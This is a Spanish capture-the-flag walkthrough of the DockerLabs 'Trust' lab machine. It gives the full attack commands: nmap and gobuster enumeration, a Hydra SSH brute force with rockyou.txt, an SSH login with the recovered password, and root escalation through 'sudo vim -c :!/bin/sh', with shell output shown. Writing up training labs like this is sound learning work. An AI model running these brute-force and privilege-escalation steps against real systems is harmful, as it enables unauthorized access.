Máquinas Ciberseguridad > DockerLabs

1. ✅Máquina: Trust (Muy Fácil)
    - *1. Descubrimiento de puertos y servicios con Nmap:*
        - Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
            - *Comando*: `nmap -sVC 172.17.0.2`
            - *Resultado*: Se encontraron los servicios ssh y http abiertos.
    - *2. Búsqueda de directorios activos con Gobuster:*
        - Usamos *Gobuster* para encontrar directorios activos en el servicio http.
            - *Comando*: `gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html`
            - *Resultado*: Se encontró secret.php con un nombre de usuario “Mario”.
    - *3. Ataque de fuerza bruta con Hydra:*
        - Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta *Hydra* utilizando el nombre de usuario Mario y las contraseñas de rockyou.txt.
            - *Comando*: `hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh`
            - *Resultado*: Se encontró la contraseña “chocolate” para el usuario “Mario”.
    - *4. Conexión SSH a la máquina víctima:*
        - Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas.
            - *Comando*: `ssh mario@172.17.0.2`
            - *Resultado*: Nos encontramos dentro del usuario *mario* en la máquina victima (ingresando password *chocolate*)
    - *5. Verificación de permisos del usuario:*
        - Verificamos los permisos del usuario Mario.
            - *Comando*: `sudo -l`
            - *Resultado*: El usuario Mario tiene permisos para ejecutar binarios *vim*.
    - *6. Búsqueda de métodos para obtener una shell root con Searchbins*
        - Utilizamos la herramienta Searchbins para buscar cómo obtener una shell root en la máquina víctima usando vim.
            - *Comando*: `./searchbins.sh -b vim -f sudo`
            - *Resultado* Se encontró un método para obtener una shell root utilizando vim con sudo.
    - *7. Obtención de una shell root*
        - Ejecutamos el comando vim encontrado para obtener una shell root en la máquina víctima.
            - *Comando*: `sudo vim -c ':!/bin/sh'`

- *Resultado*: Hemos obtenido una shell root en la máquina víctima. ¡Hemos terminado! Ya somos root en la máquina víctima.

```
Press ENTER or type command to continue
mario@c9b6e9358c75:~$ sudo vim -c ':!/bin/bash'

root@c9b6e9358c75:/home/mario# whoami
root
root@c9b6e9358c75:/home/mario# xDaliK
bash: xDaliK: command not found
root@c9b6e9358c75:/home/mario# ls
root@c9b6e9358c75:/home/mario#
```